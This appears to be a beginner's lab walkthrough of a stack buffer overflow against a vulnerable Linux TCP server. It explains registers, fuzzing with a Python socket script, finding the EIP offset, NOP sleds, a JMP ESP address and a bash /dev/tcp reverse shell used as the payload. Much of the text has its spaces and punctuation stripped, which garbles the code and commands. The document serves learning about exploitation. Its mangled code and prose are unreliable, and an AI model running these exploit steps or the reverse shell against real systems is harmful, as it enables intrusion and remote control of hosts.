RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy

detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus

Generalregisters Controlregisters Segmentregisters

Thegeneralregistersarefurtherdividedintothefollowinggroups

Dataregisters Pointerregisters Indexregisters DataRegisters

DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit

1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters

AHALBHBLCHCLDHandDL

Someofthesedataregistershavespecificuseinarithmeticaloperations

AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in

multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand

BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing

CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations

DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with

DXformultiplyanddivideoperationsinvolvinglargevalues

PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP

Therearethreecategoriesofpointerregisters

Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be

executed IP in association with the CS register (as CSIP) gives the complete address of the current

instruction in the code segment NOTES IP will control the next instruction executed hellip like say our

malware

Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in

association with the SS register (SSSP) refers to be current position of data or address within the program

stack NOTES Might give you a reference point to look higher in memory to find our malware in

bufferNOPsledaddresses

Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a

subroutine The address in SS register is combined with the offset in BP to get the location of the parameter

BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer

tracks the memory location between your Dynamic Variables and registers and your buffer etc BP

isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer

Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated

and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational

codestostartwiththatmostoverflowstutorialsseemtoincludehellip

Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures

following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end

andcomebacktoreading

ControlFlowInstructions

The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the

currentinstructionstarts

Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be

manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions

We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code

textbyenteringalabelnamefollowedbyacolonForexample

movesi[ebp+8]

beginxorecxecx

moveax[esi]

The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this

instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing

thelocationinsteadofits32-bitvalue

jmpmdashJump

Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into

amemorylocationthatishostingthemalware

Syntax

jmpltlabelgt

Example

jmpbeginmdashJumptotheinstructionlabeledbegin

callretmdashSubroutinecallandreturn

These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the

hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code

location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when

thesubroutinecompletes

The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported

in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of

instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater

Syntax

callltlabelgt

ret

DataMovementInstructions

movmdashMove(Opcodes88898A8B8C8E)

The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)

into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct

memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded

intoaregisterthencanbestoredtothedestinationmemoryaddress

Syntax

movltreggtltreggt

movltreggtltmemgt

movltmemgtltreggt

movltreggtltconstgt

movltmemgtltconstgt

Examples

moveaxebxmdashcopythevalueinebxintoeax

movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar

pushmdashPushstack(OpcodesFF898A8B8C8E)

The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements

ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by

pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses

Syntax

pushltreg32gt

pushltmemgt

pushltcon32gt

Examples

pusheaxmdashpusheaxonthestack

push[var]mdashpushthe4bytesataddressvarontothestack

popmdashPopstack

The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie

register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location

andthenincrementsSPby4

Syntax

popltreg32gt

popltmemgt

Examples

popedimdashpopthetopelementofthestackintoEDI

pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX

leamdashLoadeffectiveaddress

The lea instruction places the address specified by its second operand into the register specified by its first operand Note the

contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for

obtainingapointerintoamemoryregion

Syntax

lealtreg32gtltmemgt

Examples

leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI

leaeax[var]mdashthevalueinvarisplacedinEAX

leaeax[val]mdashthevaluevalisplacedinEAX

In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly

commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So

letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized

everythingquitenicely

On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out

The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math

function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob

maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo

SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd

thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe

higherlevelcode

IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis

pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour

instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick

theprogramintoexecutingyourmalwarewiththeprogramspermissions

OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware

LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand

overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer

1 TheaddressofvulnReadstartsatmemoryaddress78dinhex

2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge

isallocatedasalocalvariable

791 81ec14040000 sub$0x414esp

3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare

reservedforbufferbutrememberthatBUFFER_SIZE=1024

8d85f0fbffff lea-0x410(ebp)eax

4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory

locationsUntilfinally

5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt

defineBUFFER_SIZE1024

defineHEADER_SIZE4

EIP(ReturnAddresstonextfunction)

EBPofVuln_Read(BasePointer)

to_read

buffer

read_bytes

Lastvariable(StackPointer)

So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored

andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction

(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036

availablebytesLetrsquosbreakthatdown

1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)

AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos

thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful

outsidethecontextoflearning

Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe

reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo

ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory

locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor

laterourldquomalwarerdquo

Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe

computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe

pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto

IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin

ourprogram

Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers

EnoughtheoryshowmeTheCode

DisablingDEPASLR

YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow

ASLR-Linux

echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline

-fstack-protector-Waexecstack

Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB

compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor

gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337

OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere

GDBCheatSheet

httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype

run1337

NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways

1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly

2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint

WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130

AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30

bufferappend(Acounter)counter=counter+200

forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)

ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)

MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize

DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100

MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger

print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes

forstringinMESSAGE

defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw

print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)

sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver

HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos

ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters

WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks

Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550

Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)

LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo

EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368

LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened

ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway

WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther

python-cprintx41366+x42366+x43184+x4462+x4562+x4662

AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer

Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip

python-cprintx411000+x4225+x4325+x4425+x4525

That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere

up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that

mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos

python-cprintx411000+x4225+x438+x448+x459

Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers

are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens

python-cprintx411000+x4225+x438+x448+x454+x464

Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore

onestepaway

python-cprintx411000+x4225+x438+x447+x454+x464

BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer

Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the

crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to

find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer

to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because

Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from

right-to-leftrelativetotheorderyousuppliedthedata

FindingInstructionPointerthefastway

Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your

taught to use this program without learning the manual way then you may not understand what and why exactly you are using the

program

httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb

Soourfuzzertoldusthecrashhappenedatapproximately1100bytes

rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb

rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100

This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this

command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers

and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb

outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP

Example

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0

Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6

Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7

Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1

Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2

Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf

4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk

YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236

Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP

value

usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236

Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis

python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample

Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands

Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a

bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode

python-cprintx901040+x454+x904

Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs

Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect

thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545

MESSAGE=x901040+x454+x901000

Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly

x45454545

Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our

NOPSletsruntheattackwiththefollowinglogicintheclientpy

MESSAGE=x901040+x454+x901000

Letrsquosswitchsomethingsupandtryanewdebuggerhellip

1 Server1337

2 Fromterminal2rarredb

3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo

4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)

5 UpdateyourclientPoCcode

6 pythonclientPoCpy1337

CodeChanges

malware=(x41100)

eip=x424

ending=x90200

nopsled=(x90(1000-len(malware)))

MESSAGE=x901040+eip+nopsled+malware+ending

Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly

Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand

corner

Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points

to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At

memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware

Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump

intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor

aJMPESPopcodetofindamemorylocationwiththatinstruction

1 runthevulnerableserver

2 startupedbdebuggerandattackthevulnerableserver

3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP

4 Manuallysearchthrougheachloadedbinaryandclicksearch

0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU

tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder

So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the

futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun

Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow

binsh-igtampdevtcp12700144440gtamp1

Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in

one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It

lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)

The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate

a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and

not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there

isanaddedlayerofcomplexity

LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes

ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs

NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general

sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as

register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often

abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine

codeinstructionsrdquo

So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But

when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing

the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work

